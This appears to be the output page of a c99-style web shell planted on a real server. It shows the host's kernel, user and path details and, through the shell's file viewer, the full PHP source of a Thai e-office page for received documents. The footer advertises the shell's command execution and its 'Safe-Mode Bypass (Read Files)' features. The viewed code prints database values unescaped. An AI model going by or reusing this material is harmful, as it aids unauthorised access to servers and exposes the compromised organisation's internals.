Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/directorBCNU/admin/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php include_once "template.php"; include_once "../class/clsTable.php"; include_once "../class/clsDepartment.php"; include_once "../class/clsPerson.php"; include_once "../link/function.php"; include_once "../link/functionshow.php"; include_once "../class/clsDocLinePosition.php"; include_once "../class/clsDocLineConfig.php"; include_once "../class/clsReceiveSendType.php"; include_once "../class/clsDocType.php"; include_once "../class/clsDocSpeedLevel.php"; include_once "../class/clsDocSecreLevel.php"; include_once "../class/clsDocattatchesTmp.php"; include_once "../class/clsDocuments.php"; include_once "../class/clsDocattatches.php"; include_once "../class/clsDocReceiveSend.php"; include_once "../class/clsProposeType.php"; include_once "funct.php"; include_once "../class/clsDocSendtoPsTmp.php"; include_once "../class/clsannounceDocType.php"; include_once "../link/keyThai.php"; include_once "../class/clsDocWSign.php"; include_once "../class/clsSendReceive.php"; include_once "../class/clsCollegeDetail.php"; include_once "getPrefix.php"; $oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']); $oDP = new Department($oC); $oDP2 = new Department($oC); $oDP3 = new Department($oC); $oDP4 = new Department($oC); $oDP5 = new Department($oC); $oPS = new person($oC); $oPS2 = new person($oC); $oPS3 = new person($oC); $oPS4 = new person($oC); $oPS5 = new person($oC); $oPS6 = new person($oC); $oUG = new umgroup($oCu); $oDlc = new DocLineConfig($oC); $oDlc2 = new DocLineConfig($oC); $oDlc3 = new DocLineConfig($oC); $oDlc4 = new DocLineConfig($oC); $oDlc5 = new DocLineConfig($oC); $oDlc6 = new DocLineConfig($oC); $oDlc7 = new DocLineConfig($oC); $oDlc8 = new DocLineConfig($oC); $oDlp = new docLinePosition($oC); $oDlp1 = new docLinePosition($oC); $oDlp2= new docLinePosition($oC); $oRSt = new receiveSendType($oC); $oDt = new doctype($oC); $oDsl = new DocSpeedLevel($oC); $oDcl = new DocSecretLevel($oC); $oDtmp = new DocattatchesTmp($oC); $oDoc = new Documents($oC); $oDoc2 = new Documents($oC); $oDoc3 = new Documents($oC); $oDoc4 = new Documents($oC); $oDatt = new Docattatches($oC); $oRs = new DocReceiveSend($oC); $oRs1 = new DocReceiveSend($oC); $oRs2 = new DocReceiveSend($oC); $oRs3 = new DocReceiveSend($oC); $oRs4 = new DocReceiveSend($oC); $oRs6 = new DocReceiveSend($oC); $oRs7 = new DocReceiveSend($oC); $oRs8 = new DocReceiveSend($oC); $oPt = new ProposeType($oC); $oStmp=new DocSendToPsTmp($oC); $oAn=new announceDocType($oC); $oDws = new docwsign($oC); $oTsr = new sendreceive($oC); $oCd = new collegedetail($oC); $MaxDocGroup=$oDP->SearchMaxDocGroup(); doCheckAll(); if($DLCID && $one_position!="1"){ include_once "selectposition.php"; $oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); $a=$oDlc->DlcActive; $oTsr->SearchByKey($tsr_id); $oTsr->GetRecord(); ?> <html> <head> <script language="javascript" src="../source/calendarDateInput.js"></script> <meta http-equiv="Content-Type" content="text/html; charset=tis-620"> <link href="../source/style.css" rel="stylesheet" type="text/css"> </head> <body> <table width="100%" align="center"> <tr><td > <fieldset> <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="sendReceiveDoc_c.php">การติดตามหนังสือรับอิเล็กทรอนิกส์</a> <img src="../picture/ico3.gif" width="10" border="0" align="absmiddle">รายละเอียดข้อมูลหนังสือรับอิเล็กทรอนิกส์</font> </font></legend> <form name="ff" METHOD="POST" action="processSendDoc.php"> <table align="center" width="93%" > <tr> <td width="68%" height="25"><img src="../picture/official_letter.gif" alt="" border="0" > <font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="3"><strong>การรับหนังสืออิเล็กทรอนิกส์</strong></font> </td> </tr> <tr> <td colspan="3"><hr color="#000099"></hr> </td> </tr> </table> <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"><tr><td> <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" background="../picture/table_header_bg2.gif"> <tr> <td width="68%" height="25"> <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> รายละเอียดของหนังสือ: </strong></font> <font color="<?php echo $GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong>รับ - ภายนอก</strong></font> <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> ชนิดหนังสือ: </strong></font> <font color="<?php echo $GLOBALS["COLOR_FONT_8"]; ?>" size="2"><strong> <? $oDt->SearchByKey($oTsr->tsr_DtID); $oDt->GetRecord(); echo $oDt->DtName; ?> </strong></font> </td> </tr> </table> <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse"> <tr><td> </td></tr> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong><? echo ShowNameDocNo($oTsr->tsr_DtID); ?></strong></td> <td width="2%" align="center"><strong>:</strong></td> <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocNo!=""){ echo $oTsr->tsr_DocNo; } ?></td></tr> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong><? echo ShowNameDate2($oTsr->tsr_DtID); ?></strong></td> <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocDate!="" && $oTsr->tsr_DocDate!="0000-00-00"){ echo " ".abbreDate2($oTsr->tsr_DocDate,'/'); } ?> </td></tr> <? //if($oDoc->DtID!=13){ ?> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" > <strong><? echo ShowNameSubject($oTsr->tsr_DtID); ?></strong></td> <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocSubject!=""){ echo $oTsr->tsr_DocSubject; } ?></td> </tr> <? //} ?> <? if($oTsr->tsr_DtID==1 || $oTsr->tsr_DtID==2 || $oTsr->tsr_DtID==3 || $oTsr->tsr_DtID==14 || $oTsr->tsr_DtID==13){?> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong><? echo ShowNameFrom($oTsr->tsr_DtID); ?></strong></td> <td width="2%" align="center"><strong>:</strong></td> <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocFrom!=""){ echo $oTsr->tsr_DocFrom; } ?></td> </tr> <? } ?> <? if($oTsr->tsr_DtID==1 || $oTsr->tsr_DtID==2 || $oTsr->tsr_DtID==14 || $oTsr->tsr_DtID==3 || $oTsr->tsr_DtID==15){?> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong><? if($oTsr->tsr_DtID==3 || $oTsr->tsr_DtID==15){ echo "เรียน"; }else{ echo "ถึง"; } ?></strong></td> <td width="2%" align="center"><strong>:</strong></td> <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocTo!=""){ echo $oTsr->tsr_DocTo; }?></td> </tr> <? }?> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>แฟ้มหนังสือ</strong></td> <td width="2%" align="center"><strong>:</strong></td> <td width="73%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? //if($oTsr->tsr_status=='r3' || $oTsr->tsr_status=='r4'){ $count=strlen($oTsr->tsr_statusDocAtt);?> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>"> <img src="../picture/attach_ico.gif" alt="" border="0" > แฟ้มที่เกี่ยวข้อง <? echo $count;?> รายการ<br> </font> <? $tsr_docname=$oTsr->tsr_docname; $tsr_statusDocAtt=$oTsr->tsr_statusDocAtt; $tsr_doc_url=$oTsr->tsr_doc_url; $i=0; $nodownload=0; while($tsr_docname!=''){ $i++; list($downloadfilename,$tsr_docname)=split(',',$tsr_docname,2); list($downloadurl,$tsr_doc_url)=split(',',$tsr_doc_url,2); $count=strlen($tsr_statusDocAtt); if($count!=$i){ $statusDoc = substr($tsr_statusDocAtt,$i-1,-($count-1-($i-1))); }else{ $statusDoc = substr($tsr_statusDocAtt,$count-1); } if($statusDoc=='Y'){ $file_name = basename($downloadurl); list($filename_,$filetype_)=split('[.]',$file_name); $pathfile="../documentsTmp/".$filename_.'-'.$oTsr->tsr_fr_node.'.'.$filetype_; ?> <a href="<? echo $pathfile ; ?>" target="_blank"><img src="../picture/allregistered_ico.gif" alt="เปิดดูแฟ้มหนังสือ" border="0" style="cursor:pointer;" ></a> <? echo $downloadfilename." (ดาวน์โหลดแล้ว)<br>"; }else{ if($oTsr->tsr_status!='r4'){ ?> <img src="../picture/lock.gif" alt="ยังไม่ดาวน์โหลด" border="0"> <? echo $downloadfilename; ?><strong><font color="#FF0000"> (ยังไม่ดาวน์โหลด)</font></strong> <br> <? } $nodownload++; } } if($oTsr->tsr_status!='r1' && $oTsr->tsr_status!='r4'){ ?> <br><div align="right"><a href="downloadDoc.php?tsr_id=<?php echo $tsr_id;?>"><img src="../picture/resend.gif" alt="ดาวน์โหลดเอกสาร" border=0></a> ดาวน์โหลดเอกสาร <br><a href="unDownloadDoc.php?tsr_id=<?php echo $tsr_id;?>"><img src="../picture/cancel.gif" alt="ยกเลิกดาวน์โหลดเอกสาร" border=0></a> ยกเลิกดาวน์โหลดเอกสาร </div> <? } // }else{ echo " (ยังไม่ดาวน์โหลดแฟ้ม)"; // }?> </td> </tr> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>อ้างถึง</strong></td> <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocRef!=""){ echo $oTsr->tsr_DocRef; } ?></td> </tr> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>สิ่งที่ส่งมาด้วย</strong></td> <td width="2%" align="center"><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocOther!=""){ echo $oTsr->tsr_DocOther; }?></td> </tr> <? if($oTsr->tsr_DtID==1 || $oTsr->tsr_DtID==2 || $oTsr->tsr_DtID==3 || $oTsr->tsr_DtID==14){?> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>ชั้นความเร็ว</strong></td> <td width="2%" align="center"><strong>:</strong></td> <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? $oDsl->SearchByKey($oTsr->tsr_DslID); $oDsl->GetRecord(); echo " ".$oDsl->DslName;?> </td></tr> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>ชั้นความลับ</strong></td> <td width="2%" align="center" ><strong>:</strong></td><td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? $oDcl->SearchByKey($oTsr->tsr_DclID); $oDcl->GetRecord(); echo " ".$oDcl->DclName;?></td> </tr> <? } ?> <tr height=22><td width="25%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>หมายเหตุ</strong></td> <td width="2%" align="center"><strong>:</strong></td> <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>"> <? if($oTsr->tsr_DocShortDesc!=""){ echo " ".$oTsr->tsr_DocShortDesc; } ?> </td> </tr> <tr><td> </td></tr> </table> </td></tr></table> <? //------------------Sign------------------------------------------------------------------?> <br> <table width="93%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"><tr><td > <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" background="../picture/table_header_bg2.gif"> <tr> <td width="68%" height="25"> <font color="<?php echo $GLOBALS["COLOR_FONT_1"]; ?>" size="2"><strong> รายละเอียดผู้ส่งหนังสืออิเล็กทรอนิกส์</strong></font> </td> </tr> </table> <table width="97%" height="100%"border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" > <tr align="center"> <td width="45%" align="center" valign="top"> <table width="100%"> <tr height=22 > <td width="31%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>ลักษณะหนังสือ</strong></td> <td width="1%" align="center" ><strong>:</strong></td> <td width="68%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>" align="left"> <? $oPt->SearchByKey($oTsr->tsr_PtID); $oPt->GetRecord(); echo $oPt->PtName; ?> </td> </tr> <tr height=50> <td width="31%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>ผู้ส่งหนังสือ</strong></td> <td width="1%" align="center"><strong>:</strong></td> <td width="68%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>" align="center"> <? $oCd->SearchByKey($oTsr->tsr_fr_node); $oCd->GetRecord(); ?> <? echo " (".$oCd->collegeAbbr.")<br>"; ?> <? list($DocD,$DocT) = split(' ',$oTsr->tsr_fr_node_date); echo abbreDate2($DocD,'/')." ".a2th($DocT)." "; ?> </td> </tr> <? if($oTsr->tsr_DrsDocDueDate!='0000-00-00'){ ?> <tr height=22 > <td width="31%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>"> <strong>กำหนดระยะเวลาดำเนินการ</strong></td> <td width="1%" align="center" ><strong>:</strong></td> <td width="68%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_16"]; ?>" align="left"> ภายในวันที่ <? echo abbreDate2($oTsr->tsr_DrsDocDueDate,'/');?> </td> </tr> <? } ?> </table> </td> <td width="45%" align="center" valign="top"> </td> </tr> <tr> <td height="44" colspan="2" align="center"> <br> <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = 'sendReceiveDoc_c.php'"> </td></tr> </table> </td></tr></table> </form> </fieldset> <table width="95%" border="0" align="center"> <tr> <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"> <strong>หมายเหตุ : </strong> </font></td> <td width="618" align="left"><img src="../picture/allregistered_ico.gif" alt="" border="0" > <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อเปิดดูแฟ้มหนังสือ <img src="../picture/lock.gif" alt="" border="0" > เอกสารที่ยังไม่ได้ดาวน์โหลด</font></td> </tr> <tr> <td width="76"> </td> <td width="618" align="left"><img src="../picture/resend.gif" alt="" border="0" > <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อดาวน์โหลดเอกสารที่ยังดาวน์โหลดไม่สำเร็จ </font></td> </tr> <tr> <td width="76"> </td> <td width="618" align="left"><img src="../picture/cancel.gif" alt="" border="0" > <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">คลิกเพื่อยกเลิกดาวน์โหลดเอกสารที่ยังดาวน์โหลดไม่สำเร็จ</font></td> </tr> </table> </td> </tr> </table> </body> </html> <? }else{ include_once "unselectposition.php"; } ?> <script language="javascript"> function checkFormat(p,q){ if(p==1){ window.alert("ไม่สามารถส่งต่อได้ เนื่องจากผู้ที่ส่งต่อนั้น\nไม่มีสิทธิ์ ในการส่งถึงผู้รับผิดชอบ\n กรุณาติดต่อผู้รับผิดชอบระบบ"); return false ; }else if(q==1){ window.alert("ไม่สามารถส่งต่อได้ \nเนื่องจากไม่มีผู้รับผิดชอบ\n กรุณาติดต่อผู้รับผิดชอบระบบ"); return false ; }else{ if(document.ff.PtID.value==0){ alert("กรุณาเลือกลักษณะหนังสือ"); document.ff.PtID.focus(); return false ; }else{ var agree=confirm("คุณต้องการส่งหนังสือแน่นอนใช่หรือไม่ ?"); if (agree){ document.ff.method.value="addsend"; return true; }else{ return false ; } } } } function searchPs(){ document.ff.method.value="addsend2"; return true; } function getPs(){ document.ff.method.value="addPs"; return true; } function deletePs(j){ var agree=confirm("คุณต้องการลบรายชื่อที่จะส่งด่วนแน่นอนใช่หรือไม่ ?"); if (agree){ document.ff.method.value="deletePs"; document.ff.deletePstmp.value = j; document.ff.submit(); return true; }else{ return false ; } } function SendDocNew(p,q,r,docid,drsid,x){ var agree=confirm("คุณต้องการส่งเพิ่มเติมแน่นอนใช่หรือไม่ ?"); if (agree){ if(x!=0){ fnlink="showSendDocNewSR.php"; }else{ fnlink="showSendDocNew.php"; } window.location.href =fnlink+"?flagshow="+p+"&monthe="+q+"&searchYear="+r+"&DocID="+docid+"&DrsID="+drsid+"&addsendps=1"; }else{ return false ; } } function showline(p){ FileName = "showlinedocTable.php?searchDoc="+p; var w=900; var h=500; strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h; window.open(FileName,"",strOption); } function showline2(p){ FileName = "showlinedocTable2.php?searchDoc="+p; var w=900; var h=500; strOption = "scrollbars=yes,left=370,top=100,menubar=1,width=" + w + ",height=" + h; window.open(FileName,"",strOption); } </script> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.006 ]-- |